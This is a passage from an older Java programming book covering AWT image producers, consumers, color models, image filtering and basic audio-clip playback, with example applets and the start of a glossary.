An ImageProducer also needs to know how to use the ImageConsumer interface of its clients. The final method of the ImageProducer interface, requestTopDownLeftRightResend(), asks that the image data be resent to the consumer, in order, from beginning to end. In general, a producer can generate pixel data and send it to the consumer in any order that it likes. The setPixels() method of the ImageConsumer interface takes parameters telling the consumer what part of the image is being delivered on each call. A call to requestTopDownLeftRightResend() asks the producer to send the pixel data again, in order. A consumer might do this so that it can use a higher quality conversion algorithm that relies on receiving the pixel data in sequence. It's important to note that the producer is allowed to ignore this request; it doesn't have to be able to send the data in sequence.

Color models

Everybody wants to work with color in their application, but using color raises problems. The most important problem is simply how to represent a color. There are many different ways to encode color information: red, green, blue (RGB) values; hue, saturation, value (HSV); hue, lightness, saturation (HLS); and more. In addition, you can provide full color information for each pixel, or you can just specify an index into a color table (palette) for each pixel. The way you represent a color is called a color model. AWT provides tools for two broad groups of color models: direct and indexed.

As you might expect, you need to specify a color model in order to generate pixel data; the abstract class java.awt.image.ColorModel represents a color model. A ColorModel is one of the arguments to the setPixels() method an image producer calls to deliver pixels to a consumer. What you probably wouldn't expect is that you can use a different color model every time you call setPixels(). Exactly why you'd do this is another matter. Most of the time, you'll want to work with a single color model; that model will probably be the default direct color model. But the additional flexibility is there if you need it.

By default, the core AWT components use a direct color model called ARGB. The A stands for "alpha,", which is the historical name for transparency. RGB refers to the red, green, and blue color components that are combined to produce a single, composite color. In the default ARGB model, each pixel is represented by a 32-bit integer that is interpreted as four 8-bit fields; in order, the fields represent the transparency (A), red, green, and blue components of the color, as shown in Figure 14.3.

Figure 14.3: ARGB color encoding

[Graphic: Figure 14-3]

To create an instance of the default ARGB model, call the static getRGBdefault() method in ColorModel. This method returns a DirectColorModel object; DirectColorModel is a subclass of ColorModel. You can also create other direct color models by calling a DirectColorModel constructor, but you shouldn't need to unless you have a fairly exotic application.

In an indexed color model, each pixel is represented by a smaller amount of information: an index into a table of real color values. For some applications, generating data with an indexed model may be more convenient. If you have an 8-bit display or smaller, using an indexed model may be more efficient, since your hardware is internally using an indexed color model of some form.

While AWT provides IndexedColorModel objects, we won't cover them in this book. It's sufficient to work with the DirectColorModel. Even if you have an 8-bit display, the Java implementation on your platform should accommodate the hardware you have and, if necessary, dither colors to fit your display. Java also produces transparency on systems that don't natively support it by dithering colors.

Creating an image

Let's take a look at producing some image data. A picture may be worth a thousand words, but fortunately, we can generate a picture in significantly fewer than a thousand words of Java. If we're interested in producing a static image with just one frame, we can use a utility class that acts as an ImageProducer for us.

java.awt.image.MemoryImageSource is a simple utility class that implements the ImageProducer interface; we give it pixel data in an array and it sends that data to an image consumer. A MemoryImageSource can be constructed for a given color model, with various options to specify the type and positioning of its data. We'll use the simplest form, which assumes an ARGB color model.

The following applet, ColorPan, creates an image from an array of integers holding ARGB pixel values:

import java.awt.*;
import java.awt.image.*;
public class ColorPan extends java.applet.Applet {
    Image img;
    int width, height;
    int [] pixData;
    public void init() {
        width = getSize().width;
        height = getSize().height;
        pixData = new int [width * height];
        int i=0;
        for (int y = 0; y < height; y++) {
            int red = (y * 255) / (height - 1);
            for (int x = 0; x < width; x++) {
                int green = (x * 255) / (width - 1);
                int blue = 128;
                int alpha = 255;
                pixData[i++] = (alpha << 24) | (red << 16) |
                               (green << 8 ) | blue;
            }
        }
    }
    public void paint( Graphics g ) {
        if ( img == null )
            img = createImage( new MemoryImageSource(width, height,
                                          pixData, 0, width));
        g.drawImage( img, 0, 0, this );
    }
}

Give it a try. The size of the image is determined by the size of the
applet when it starts up. What you should get is a very colorful box
that pans from deep blue at the upper left-hand corner to bright
yellow at the bottom right with green and red at the other
extremes. (You'll have to imagine something more colorful than the
black and white image above.)

We create the pixel data for our image in the
init()method, and then use
MemoryImageSource to create and display the image
in paint(). The variable pixData
is a one-dimensional array of integers that holds 32-bit
ARGB pixel values. In init() we
loop over every pixel in the image and assign it an
ARGB value. The alpha (transparency) component is
always 255, which means the image is opaque. The blue component
is always 128, half its maximum intensity. The red component varies
from 0 to 255 along the y axis; likewise, the green component varies
from 0 to 255 along the x axis. The line below combines these
components into an ARGB value:

pixData[i++] = (alpha << 24) | (red << 16) | (green << 8 ) | blue;

The bitwise left-shift operator (<<) should
be familiar to C programmers. It simply shoves the bits over by the
specified number of positions. The alpha value takes the top byte of
the integer, followed by the red, green, and blue values.

When we construct the MemoryImageSource as a
producer for this data, we give it five parameters: the width and
height of the image to construct (in pixels), the
pixData array, an offset into that array, and the
width of each scan line (in pixels). We'll start with the first
element (offset 0) of pixData; the width of each
scan line and the width of the image are the same. The array
pixData has width * height
elements, which means it has one element for each pixel.

We create the actual image once, in paint(),
using the createImage() method that our applet
inherits from Component. In the double-buffering
and off-screen drawing examples, we used
createImage() to give us an empty off-screen image
buffer. Here we use createImage() to generate an
image from a specified ImageProducer.
createImage() creates the Image
object and receives pixel data from the producer to construct the
image. Note that there's nothing particularly special about
MemoryImageSource; we could use any object that
implements the image-producer interface inside of
createImage(), including one we wrote
ourselves. Once we have the image, we can draw it on the display with
the familiar drawImage() method.

You can use MemoryImageSource to produce
complex, pixel-by-pixel graphics or render images from arbitrary
sources. It produces static images, though; when it reaches the
end of its pixel data, its job is done. To generate a stream of image
data or update pixel values, we need a more persistent image producer.

Updating a MemoryImageSource

MemoryImageSource can also be used to
generate a sequence of images, or to update an image dynamically. In
Java 1.1, this is probably the easiest way to build your own low-level
animation software. This example simulates the static on a television
screen. It generates successive frames of random black and white
pixels and displays each frame when it is complete. The figure below
shows one frame of random static, followed by the code:

  [Graphic: Figure from the text]

import java.awt.*;
import java.awt.image.*;
public class StaticGenerator
        extends java.applet.Applet
        implements Runnable {
    int arrayLength, pixels[];
    MemoryImageSource source;
    Image image;
    int width, height;
    public void init() {
        width = getSize().width; height = getSize().height;
        arrayLength = width * height;
        pixels = new int [arrayLength];
        source = new MemoryImageSource(width, height, pixels, 0, width);
        source.setAnimated(true);
        image = createImage(source);
        new Thread(this).start();
    }
    public void run() {
        while (true) {
            try {
                Thread.sleep(1000/24);
            } catch( InterruptedException e ) { /* die */ }
            for (int x = 0; x < width; x++)
                for (int y = 0; y < height; y++)  {
                    boolean rand = Math.random() > 0.5;
                    pixels[y*width+x] =
                        rand ? Color.black.getRGB() : Color.white.getRGB();
                }
            // Push out the new data
            source.newPixels(0, 0, width, height);
        }
    }
    public void paint( Graphics g ) {
        g.drawImage(image, 0, 0, this);
    }
}

The init() method sets up the
MemoryImageSource that produces the
sequence of images. It first computes the size of the array needed to
hold the image data. It then creates a
MemoryImageSource object that produces
images the width and height of the display, using the default color
model (the constructor we use assumes that we want the default). We
start taking pixels from the beginning of the pixel array, and scan
lines in the array have the same width as the image. Once we have
created the MemoryImageSource, we call its
setAnimated() method to tell it that we
will be generating an image sequence. Then we use the source to create
an Image that will display our sequence.

We next start a thread that generates the pixel data. For every
element in the array, we get a random number, and set the pixel to
black if the random number is greater than 0.5. Because
pixels is an
int array, we can't assign
Color objects to it directly; we use
getRGB() to extract the color components
from the black and white Color constants.
When we have filled the entire array with data, we call the
newPixels() method, which delivers the new
data to the image.

That's about all there is. We provide a very uninteresting
paint() method, that just calls
drawImage() to put the current state of
the image on the screen. Whenever paint()
is called, we see the latest collection of static. The image observer,
which is the Applet itself, schedules a
call to paint() whenever anything
interesting has happened to the image. It's worth noting
how simple it is to create this animation. Once we have the
MemoryImageSource, we use it to create an
image that we treat like any other image. The code that generates the
image sequence can be arbitrarily complex--certainly in any reasonable
example, it would be more complex than our (admittedly cheesy) static.
But that complexity never infects the simple task of getting the image
on the screen and updating it.

Image Producers and Consumers

In this section we'll create an image producer that generates a
stream of image frames rather than just a static image. Unfortunately,
it would take too many lines of code to generate anything really
interesting, so we'll stick with a simple modification of our
ColorPan example. After all, figuring out what to
display is your job; I'm primarily concerned with giving you the
necessary tools. After this, you should have the needed tools to
implement more interesting applications.

A word of advice: if you find yourself writing image producers, you're
probably making your life excessively difficult. Most situations can
be handled by the dynamic
MemoryImageSource technique that we just
demonstrated. Before going to the trouble of writing an image
producer, convince yourself that there isn't a simpler solution. Even
if you never write an image producer yourself, it's good (like
Motherhood and Apple Pie) to understand how Java's image rendering
tools work.

Image consumers

First, we have to know a little more about the image consumers
we'll be feeding. An image consumer implements the seven methods
that are defined in the ImageConsumer
interface. Two of these methods are overloaded versions of the
setPixels() method that accept the actual pixel
data for a region of the image. They are identical except that one
takes the pixel data as an array of integers, and the other uses an
array of bytes. (An array of bytes is natural when you're using
an indexed color model because each pixel is specified by an index
into a color array.) A call to setPixels() looks
something like the following:

setPixels(x, y, width, height, colorModel, pixels, offset, scanLength);

pixels is the one-dimensional array of bytes or
integers that holds the pixel data. Often, you deliver only part of
the image with each call to setPixels(). The
x, y, width,
and height values define the rectangle of the image
for which pixels are being delivered. x and
y specify the upper left-hand corner of the chunk
you're delivering, relative to the upper left-hand corner of the
image as a whole. width specifies the width in
pixels of the chunk; height specifies the number of
scan lines in the chunk. offset specifies the point
in pixels at which the data being delivered in this
call to setPixels() starts. Finally,
scanLength indicates the width of the entire image,
which is not necessarily the same as
width. The pixels
array must be large enough to accommodate
width*length+offset elements; if it's larger, any
leftover data is ignored.

We haven't said anything yet about the
colorModel argument to
setPixels(). In our previous example, we drew our
image using the default ARGB color model for pixel
values; the version of the MemoryImageSource
constructor that we used supplied the default color model for us. In
this example, we also stick with the default model, but this time we
have to specify it explicitly. The remaining five methods of the
ImageConsumer interface accept general attributes
and framing information about the image:

  • setHints()

  • setDimensions()

  • setProperties()

  • setColorModel()

  • imageComplete()

Before delivering any data to a consumer, the producer should call the
consumer's setHints() method to pass it
information about how pixels will be delivered. Hints are
specified in the form of flags defined in the
ImageConsumer interface. The flags are described in
Table 14.2. The consumer uses these hints to
optimize the way it builds the image; it's also free to ignore them.

Table 14.2: ImageConsumer setHints() Flags
Flag | Description
RANDOMPIXELORDER | The pixels are delivered in random order
TOPDOWNLEFTRIGHT | The pixels are delivered from top to bottom, left to right
COMPLETESCANLINES | Each call to setPixels() delivers one or more complete scan lines
SINGLEPASS | Each pixel is delivered only once
SINGLEFRAME | The pixels define a single, static image

setDimensions() is called to pass the width
and height of the image when they are known.

setProperties() is used to pass a hashtable
of image properties, stored by name. This method isn't
particularly useful without some prior agreement between the producer
and consumer about what properties are meaningful. For example, image
formats such as GIF and TIFF can
include additional information about the image. These image attributes
could be delivered to the consumer in the hashtable.

setColorModel() is called to tell the
consumer which color model will be used to process most of the pixel
data. However, remember that each call to
setPixels() also specifies a
ColorModel for its group of pixels. The color model
specified in setColorModel() is really only a hint
that the consumer can use for optimization. You're not required
to use this color model to deliver all (or for that matter, any) of
the pixels in the image.

The producer calls the consumer's
imageComplete() method when it has completely
delivered the image or a frame of an image sequence. If the consumer
doesn't wish to receive further frames of the image, it should
unregister itself from the producer at this point. The producer
passes a status flag formed from the flags shown in
Table 14.3.

Table 14.3: ImageConsumer imageComplete() Flags
Flag | Description
STATICIMAGEDONE | A single static image is complete
SINGLEFRAMEDONE | One frame of an image sequence is complete
IMAGEERROR | An error occurred while generating the image

As you can see, the ImageProducer and
ImageConsumer interfaces provide a very flexible
mechanism for distributing image data. Now let's look at a
simple producer.

A sequence of images

The following class, ImageSequence, shows how to
implement an ImageProducer that generates a
sequence of images. The images are a lot like the
ColorPan image we generated a few pages back,
except that the blue component of each pixel changes with every
frame. This image producer doesn't do anything you couldn't do with a
MemoryImageSource.  It reads
ARGB data from an array, and consults the object
that creates the array to give it an opportunity to update the data
between each frame.

This is a complex example, so before diving into the code,
let's take a broad look at the pieces. The
ImageSequence class is an image producer; it
generates data and sends it to image consumers to be displayed. To
make our design more modular, we define an interface called
FrameARGBData that describes how our rendering code
provides each frame of ARGB pixel data to our
producer. To do the computation and provide the raw bits, we create a
class called ColorPanCycle that implements
FrameARGBData. This means that
ImageSequence doesn't care specifically where
the data comes from; if we wanted to draw different images, we could
just drop in another class, provided that the new class implements
FrameARGBData. Finally, we create an applet called
UpdatingImage that includes two image consumers to
display the data.

Here's the ImageSequence class:

import java.awt.image.*;
import java.util.*;
public class ImageSequence extends Thread implements ImageProducer {
    int width, height, delay;
    ColorModel model = ColorModel.getRGBdefault();
    FrameARGBData frameData;
    private Vector consumers = new Vector();
    public void run() {
        while ( frameData != null ) {
            frameData.nextFrame();
            sendFrame();
            try {
                sleep( delay );
            } catch ( InterruptedException e ) {}
        }
    }
    public ImageSequence(FrameARGBData src, int maxFPS ) {
        frameData = src;
        width = frameData.size().width;
        height = frameData.size().height;
        delay = 1000/maxFPS;
        setPriority( MIN_PRIORITY + 1 );
    }
    public synchronized void addConsumer(ImageConsumer c) {
        if ( isConsumer( c ) )
            return;
        consumers.addElement( c );
        c.setHints(ImageConsumer.TOPDOWNLEFTRIGHT |
                 ImageConsumer.SINGLEPASS );
        c.setDimensions( width, height );
        c.setProperties( new Hashtable() );
        c.setColorModel( model );
    }
    public synchronized boolean isConsumer(ImageConsumer c) {
        return ( consumers.contains( c ) );
    }
    public synchronized void removeConsumer(ImageConsumer c) {
        consumers.removeElement( c );
    }
    public void startProduction(ImageConsumer ic) {
        addConsumer(ic);
    }
    public void requestTopDownLeftRightResend(ImageConsumer ic) { }
    private void sendFrame() {
        for ( Enumeration e = consumers.elements(); e.hasMoreElements();  ) {
            ImageConsumer c = (ImageConsumer)e.nextElement();
            c.setPixels(0, 0, width, height, model, frameData.getPixels(), 0, width);
            c.imageComplete(ImageConsumer.SINGLEFRAMEDONE);
        }
    }
}

The bulk of the code in ImageSequence creates the
skeleton we need for implementing the ImageProducer
interface. ImageSequence is actually a simple
subclass of Thread whose run()
method loops, generating and sending a frame of data on each
iteration. The ImageSequence constructor takes two
items: a FrameARGBData object that updates the
array of pixel data for each frame, and an integer that specifies the
maximum number of frames per second to generate. We give the thread a
low priority (MIN_PRIORITY+1) so that it
can't run away with all of our CPU time.

Our FrameARGBData object implements the following
interface:

interface FrameARGBData {
    java.awt.Dimension size();
    int [] getPixels();
    void nextFrame();
}

In ImageSequence's run()
method, we call nextFrame() to compute the array of
pixels for each frame. After computing the pixels, we call our own
sendFrame() method to deliver the data to the
consumers. sendFrame() calls
getPixels() to retrieve the updated array of pixel
data from the FrameARGBData object.
sendFrame() then sends the new data to all of the
consumers by invoking each of their setPixels()
methods and signaling the end of the frame with
imageComplete(). Note that
sendFrame() can handle multiple consumers; it
iterates through a Vector of image consumers. In a
more realistic implementation, we would also check for errors and
notify the consumers if any occurred.

The business of managing the Vector of
consumers is handled by addConsumer() and the other
methods in the ImageProducer
interface. addConsumer() adds an item to
consumers. A Vector is a
perfect tool for this task, since it's an automatically extendable
array, with methods for finding out how many elements it has, whether
or not a given element is already a member, and so on.

addConsumer() also gives the consumer hints
about how the data will be delivered by calling
setHints(). This image provider always works from
top to bottom and left to right, and makes only one pass through the
data. addConsumer() next gives the consumer an
empty hashtable of image properties. Finally, it reports that most of
the pixels will use the default ARGB color model
(we initialized the variable model to
ColorModel.getRGBDefault()). In this example, we
always start sending image data on the next frame, so
startProduction() simply calls
addConsumer().

We've discussed the mechanism for communications
between the consumer and producer, but I haven't yet told you
where the data comes from. We have a FrameARGBData
interface that defines how to retrieve the data, but we don't
yet have an object that implements the interface. The following class,
ColorPanCycle, implements
FrameARGBData; we'll use it to generate our
pixels:

import java.awt.*;
class ColorPanCycle implements FrameARGBData {
    int frame = 0, width, height;
    private int [] pixels;
    ColorPanCycle ( int w, int h ) {
        width = w;
        height = h;
        pixels = new int [ width * height ];
        nextFrame();
    }
    public synchronized int [] getPixels() {
        return pixels;
    }
    public synchronized void nextFrame() {
        int index = 0;
        for (int y = 0; y < height; y++) {
            for (int x = 0; x < width; x++) {
                int red = (y * 255) / (height - 1);
                int green = (x * 255) / (width - 1);
                int blue = (frame * 10) & 0xff;
                pixels[index++] =
                    (255 << 24) | (red << 16) | (green << 8) | blue;
            }
        }
        frame++;
    }
    public Dimension size() {
        return new Dimension ( width, height );
    }
}

ColorPanCycle is like our previous
ColorPan example, except that it adjusts each
pixel's blue component each time nextFrame() is
called. This should produce a color cycling effect; as time goes
on, the image becomes more blue.

Now let's put the pieces together by writing an applet
that displays a sequence of changing images:
UpdatingImage. In fact, we'll do better than
displaying one sequence. To prove that
ImageSequence really can deal with multiple
consumers, UpdatingImage creates two components that
display different views of the image. Once the mechanism has been set
up, it's surprising how little code you need to add additional
displays.

import java.awt.*;
import java.awt.image.*;
public class UpdatingImage extends java.applet.Applet {
    ImageSequence seq;
    public void init() {
        seq = new ImageSequence( new ColorPanCycle(100, 100), 10);
        setLayout( null );
        add( new ImageCanvas( seq, 50, 50 ) );
        add( new ImageCanvas( seq, 100, 100 ) );
        seq.start();
    }
    public void stop() {
        if ( seq != null ) {
            seq.stop();
            seq = null;
        }
    }
}
class ImageCanvas extends Canvas {
    Image img;
    ImageProducer source;
    ImageCanvas ( ImageProducer p, int w, int h ) {
        source = p;
        setSize( w, h );
    }
    public void update( Graphics g ) {
        paint(g);
    }
    public void paint( Graphics g ) {
        if ( img == null )
            img = createImage( source );
        g.drawImage( img, 0, 0, getSize().width, getSize().height, this );
    }
}

UpdatingImage constructs a new
ImageSequence producer with an instance of our
ColorPanCycle object as its frame source. It then
creates two ImageCanvas components that create and
display the two views of our animation. ImageCanvas
is a subclass of Canvas; it takes an
ImageProducer and a width and height in its
constructor and creates and displays an appropriately scaled version
of the image in its paint() method.
UpdatingImage places the smaller view on top of the
larger one for a sort of "picture in picture" effect.

If you've followed the example to this point,
you're probably wondering where in the heck is the image consumer.
After all, we spent a lot of time writing methods in
ImageSequence for the consumer to call. If you look
back at the code, you'll see that an
ImageSequence object gets passed to the
ImageCanvas constructor, and that this object is
used as an argument to createImage(). But nobody
appears to call addConsumer(). And the image
producer calls setPixels() and other consumer
methods; but it always digs a consumer out of its
Vector of registered consumers, so we never see
where these consumers come from.

In UpdatingImage, the image consumer is
behind the scenes, hidden deep inside the
Canvas--in fact, inside the
Canvas' peer. The call to
createImage() tells its component (i.e., our
canvas) to become an image consumer. Something deep inside the
component is calling addConsumer() behind our backs
and registering a mysterious consumer, and that consumer is the one
the producer uses in calls to setPixels() and other
methods. We haven't implemented any
ImageConsumer objects in this book because, as you
might imagine, most image consumers are implemented in native code,
since they need to display things on the screen. There are others
though; the java.awt.image.PixelGrabber class is a
consumer that returns the pixel data as a byte array. You might use it
to save an image. You can make your own consumer do anything you like
with pixel data from a producer. But in reality, you rarely need to
write an image consumer yourself. Let them stay hidden; take it on
faith that they exist.

Now for the next question: How does the screen get updated?
Even though we are updating the consumer with new data, the new image
will not appear on the display unless the applet repaints it
periodically. By now, this part of the machinery should be familiar:
what we need is an image observer. Remember that all components are
image observers (i.e., the class Component
implements ImageObserver). The call to
drawImage() specifies our
ImageCanvas as its image observer. The default
Component class-image-observer functionality then
repaints our image whenever new pixel data arrives.

In this example, we haven't bothered to stop and start
our applet properly; it continues running and wasting
CPU time even when it's invisible. There are two
strategies for stopping and restarting our thread. We can destroy the
thread and create a new one, which would require recreating our
ImageCanvas objects, or we could suspend and resume
the active thread. As discussed in Chapter 6, Threads, neither
option is particularly difficult.

Filtering Image Data

As I said above, you rarely need to write an image consumer. However,
there is one kind of image consumer that's worth knowing
about. In this final section on images, we'll build a simple
image filter. An image filter is simply a class that performs some
work on image data before passing the data to another consumer.

The ColorSep applet acquires an image; uses
an image filter to separate the image into red, green, and blue
components; and displays the three resulting images. With this applet
and a few million dollars, you could build your own color separation
plant.

import java.awt.*;
import java.awt.image.*;
public class ColorSep extends java.applet.Applet {
    Image img, redImg, greenImg, blueImg;
    public void init() {
        img = getImage( getClass().getResource( getParameter("img")) );
        redImg = createImage(new FilteredImageSource(img.getSource(),
                                        new ColorMaskFilter( Color.red )));
        greenImg = createImage(new FilteredImageSource(img.getSource(),
                                        new ColorMaskFilter( Color.green )));
        blueImg = createImage(new FilteredImageSource(img.getSource(),
                                        new ColorMaskFilter( Color.blue )));
    }
    public void paint( Graphics g ) {
        int width = getSize().width, height = getSize().height;
        g.drawImage( redImg, 0, 0, width/3, height, this );
        g.drawImage( greenImg, width/3, 0, width/3, height, this );
        g.drawImage( blueImg, 2*width/3, 0, width/3, height, this );
    }
}
class ColorMaskFilter extends RGBImageFilter {
    Color color;
    ColorMaskFilter( Color mask ) {
        color = mask;
        canFilterIndexColorModel = true;
    }
    public int filterRGB(int x, int y, int pixel ) {
        return
            255 << 24 |
            (((pixel & 0xff0000) >> 16) * color.getRed()/255) << 16 |
            (((pixel & 0xff00) >> 8) * color.getGreen()/255) << 8 |
            (pixel & 0xff) * color.getBlue()/255 ;
    }
}

The FilteredImageSource and
RGBImageFilter classes form the basis for building
and using image filters. A FilteredImageSource is
an image producer (like MemoryImageSource) that is
constructed from an image and an ImageFilter
object. It fetches pixel data from the image and feeds it through the
image filter before passing the data along. Because
FilteredImageSource is an image producer, we can
use it in our calls to createImage().

But where's the consumer?
FilteredImageSource obviously consumes image data
as well as producing it. The image consumer is still mostly hidden,
but is peeking out from under its rock. Our class
ColorMaskFilter extends
RGBImageFilter, which in turn extends
ImageFilter. And ImageFilter is
(finally!) an image consumer. Of course, we still don't see the
calls to addConsumer(), and we don't see an
implementation of setPixels(); they're hidden
in the ImageFilter sources and inherited by
ColorMaskFilter.

So what does ColorMaskFilter actually do?
Not much. ColorMaskFilter is a simple subclass of
RGBImageFilter that implements one method,
filterRGB(), through which all of the pixel data
are fed. Its constructor saves a mask value we use for
filtering. The filterRGB() method accepts a
pixel value, along with its x
and y coordinates, and returns the filtered version
of the pixel. In ColorMaskFilter, we simply
multiply the color components by the mask color to get the proper
effect. A more complex filter, however, might use the coordinates to
change its behavior based on the pixel's position.

One final detail: the constructor for
ColorMaskFilter sets the flag
canFilterIndexColorModel. This flag is inherited
from RGBImageFilter. It means our filter
doesn't depend on the pixel's position. In turn, this
means it can filter the colors in a color table. If
we were using an indexed color model, filtering the color table would
be much faster than filtering the individual pixels.

Previous | Home | Next
Drawing Techniques | Book Index | Working with Audio

Java in a Nutshell
Java Language Reference
Java AWT
Java Fundamental Classes
Exploring Java


[Chapter 14] 14.2 Working with Audio

Previous Chapter 14
Working With Images 		Next

14.2 Working with Audio

So you've read all the material on drawing and image processing, and you're wondering what in the world audio has to do with images. Well, not much actually, except that true multimedia presentations often combine image techniques such as animation with sound. So we're going to spend a few minutes here talking about audio, for lack of a better place to discuss it.

As we write this, the good people at Sun are hard at work developing the API that Java applets will use for playing audio. A future release of Java will undoubtedly have support for real-time and continuous audio streams, sound management, mixing, synchronization, and filtering. Unfortunately, at the moment, we can tell you only about the basics.

java.applet.AudioClip defines an interface for objects that can play sound. An object that implements AudioClip can be told to play() its sound data, stop() playing the sound, or loop() continually.

An applet can call its getAudioClip() method to retrieve sounds over the network. This method takes an absolute or relative URL to specify where the audio file is located. The viewer may take the sound from a cache or retrieve it over the network. The following applet, NoisyButton, gives a simple example:

import java.awt.*;
import java.awt.event.*;
public class NoisyButton extends java.applet.Applet implements ActionListener {
    java.applet.AudioClip sound;
    public void init() {
        sound = getAudioClip( getClass().getResource(getParameter("sound")) );
        Button button = new Button("Play Sound");
        button.addActionListener( this );
        add ( button );
    }
    public void actionPerformed( ActionEvent e ) {
        if ( sound != null )
            sound.play();
    }
}

    *** Update description...

NoisyButton retrieves an AudioClip from the server; we use getCodeBase() to find out where the applet lives and getParameter() to find the name of the audio file. (The applet tag that displays NoisyButton must include a parameter tag for sound.) Unfortunately, this is about the extent of what we can do with sound right now. If you want to experiment, there are a few additional methods in the sun.audio classes. Stay tuned for a bigger and better audio API as part of the upcoming Java Media package.

Previous | Home | Next
Image Processing | Book Index | Glossary
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


Glossary

abstract

The abstract keyword is used to declare abstract methods and classes. An abstract method has no implementation defined; it is declared with arguments and a return type as usual, but the body enclosed in curly braces is replaced with a semicolon. The implementation of an abstract method is provided by a subclass of the class in which it is defined. If an abstract method appears in a class, the class is also abstract.

API (Application Programming Interface)

An API consists of the functions and variables programmers are use in their applications. The Java API consists of all public and protected methods of all public classes in the java.applet, java.awt, java.awt.image, java.awt.peer, java.io, java.lang, java.net, and java.util packages.

applet

An embedded Java application that runs in the context of an applet viewer, such as a Web browser.

<applet> tag

HTML tag that specifies an applet run within a Web document.

applet viewer

An application that implements the additional structure needed to run and display Java applets. An applet viewer can be a Web browser like HotJava or Netscape Navigator, or a separate program like Sun's appletviewer.

application

A Java program that runs standalone; i.e., it doesn't require an applet viewer.

AWT (Abstract Windowing Toolkit)

Java's platform-independent windowing, graphics, and user-interface toolkit.

boolean

A primitive Java data type that contains a truth value. The two possible values of a boolean variable are true and false.

byte

A primitive Java data type that's an 8-bit two's-complement signed number (in all implementations).

callback

A behavior that is defined by one object and then later invoked by another object when a particular event occurs.

cast

A technique that explicitly converts one data type to another.

catch

The catch statement introduces an exception-handling block of code following a try statement. The catch keyword is followed by an exception type and argument name in parentheses, and a block of code within curly braces.

char

A primitive Java data type; a variable of type char holds a single 16-bit Unicode character.

class

a) An encapsulated collection of data and methods to operate on the data. A class may be instantiated to produce an object that's an instance of the class.

b) The class keyword is used to declare a class, thereby defining a new object type. Its syntax is similar to the struct keyword in C.

class loader

An object in the Java security model that is responsible for loading Java binary classes from the network into the local interpreter. A class loader keeps its classes in a separate namespace, so that loaded classes cannot interact with system classes and breach system security.

class method

A method declared static. Methods of this type are not passed implicit this references and may refer only to class variables and invoke other class methods of the current class. A class method may be invoked through the class name, rather than through an instance of the class.

class path

The directory path specifying the location of compiled Java class files on the local system.

class variable

A variable declared static. Variables of this type are associated with the class, rather than with a particular instance of the class. There is only one copy of a static variable, regardless of the number of instances of the class that are created.

client

The application that initiates a conversation as part of a networked client/server application. See server.

compilation unit

The source code for a Java class. A compilation unit normally contains a single class definition, and in most current development environments is just a file with a .java extension.

compiler

A program that translates source code into executable code.

component

Any of the GUI primitives implemented in the java.awt package as subclasses of Component. The classes Button, Choice, and TextField (among many others) are components.

composition

Using objects as part of another, more complex object. When you compose a new object, you create complex behavior by delegating tasks to the internal objects. Composition is different from inheritance, which defines a new object by changing or refining the behavior of an old object. See inheritance.

constructor

A method that is invoked automatically when a new instance of a class is created. Constructors are used to initialize the variables of the newly created object. The constructor method has the same name as the class.

container

One of the java.awt classes that "contain" GUI components. Components in a container appear within the boundaries of the container. The classes Dialog, Frame, Panel, and Window are containers.

content handler

A class that recognizes the content type of particular data, parses it, and converts it to an appropriate object.

datagram

A packet of data sent to a receiving computer without warning, error checking, or other control information.

data hiding

See encapsulation.

double

A Java primitive data type;a double value is a 64-bit (double-precision) floating-point number.

encapsulation

An object-oriented programming technique that makes an object's data private or protected (i.e., hidden) and allows programmers to access and manipulate that data only through method calls. Done well, encapsulation reduces bugs and promotes reusability and modularity of classes. This technique is also known as data hiding.

event

A user's action, such as a mouse click or key press.

exception

A signal that some unexpected condition has occurred in the program. In Java, exceptions are objects that are subclasses of Exception or Error (which themselves are subclasses of Throwable). Exceptions in Java are "raised" with the throw keyword and received with the catch keyword. See throw, throws, and catch.

extends

The extends keyword is used in a class declaration to specify the superclass of the class being defined. The class being defined has access to all the public and protected variables and methods of the superclass (or, if the class being defined is in the same package, it has access to all non-private variables and methods). If a class definition omits the extends clause, its superclass is taken to be java.lang.Object.

final

The final keyword is a modifier that may be applied to classes, methods, and variables. It has a similar, but not identical meaning in each case. When final is applied to a class, it means that the class may never be subclassed. java.lang.System is an example of a final class. When final is applied to a variable, the variable is a constant; i.e., it can't be modified.

finalize

finalize is not actually a Java keyword, but a reserved method name. The finalizer is called when an object is no longer being used (i.e., when there are no further references to it), but before the object's memory is actually reclaimed by the system. A finalizer should perform cleanup tasks and free system resources not handled by Java's garbage-collection system.

finally

This keyword introduces the finally block of a try/catch/finally construct. catch and finally blocks provide exception handling and routine cleanup for code in a try block. The finally block is optional, and appears after the try block, and after zero or more catch blocks. The code in a finally block is executed once, regardless of how the code in the try block executes. In normal execution, control reaches the end of the try block and proceeds to the finally block, which generally performs any necessary cleanup.

float

A Java primitive data type; a float value is a 32-bit (single-precision) floating-point number represented in IEEE 754 format.

garbage collection

The process of reclaiming the memory of objects no longer in use. An object is no longer in use when there are no references to it from other objects in the system and no references in any local variables on the method call stack.

GC

An abbreviation for garbage collection or garbage collector (or occasionally "graphics context").

graphics context

A drawable surface represented by the java.awt.Graphics class. A graphics context contains contextual information about the drawing area and provides methods for performing drawing operations in it.

GUI (graphical user interface)

A GUI is a user interface constructed from graphical push buttons, text fields, pull-down menus, dialog boxes, and other standard interface components. In Java, GUIs are implemented with the classes in the java.awt package.

hashcode

An arbitrary-looking identifying number used as a kind of signature for an object. A hashcode stores an object in a hashtable. See hashtable.

hashtable

An object that is like a dictionary or an associative array. A hashtable stores and retrieves elements using key values called hashcodes. See hashcode.

hostname

The name given to an individual computer attached to the Internet.

HotJava

A WWW browser written in Java that is capable of downloading and running Java applets.

ImageConsumer

An interface for receiving image data from an image source. Image consumers are usually implemented by the awt.peer interface, so they are largely invisible to programmers.

ImageObserver

An interface in the java.awt.image package that receives information about the status of an image being constructed by a particular ImageConsumer.

ImageProducer

An interface in the java.awt.image package that represents an image source (i.e., a source of pixel data).

implements

The implements keyword is used in class declarations to indicate that the class implements the named interface or interfaces. The implements clause is optional in class declarations; if it appears, it must follow the extends clause (if any). If an implements clause appears in the declaration of a non-abstract class, every method from each specified interface must be implemented by the class or by one of its superclasses.

import

The import statement makes Java classes available to the current class under an abbreviated name. (Java classes are always available by their fully qualified name, assuming the appropriate class file can be found relative to the CLASSPATH environment variable and that the class file is readable. import doesn't make the class available; it just saves typing and makes your code more legible). Any number of import statements may appear in a Java program. They must appear, however, after the optional package statement at the top of the file, and before the first class or interface definition in the file.

inheritance

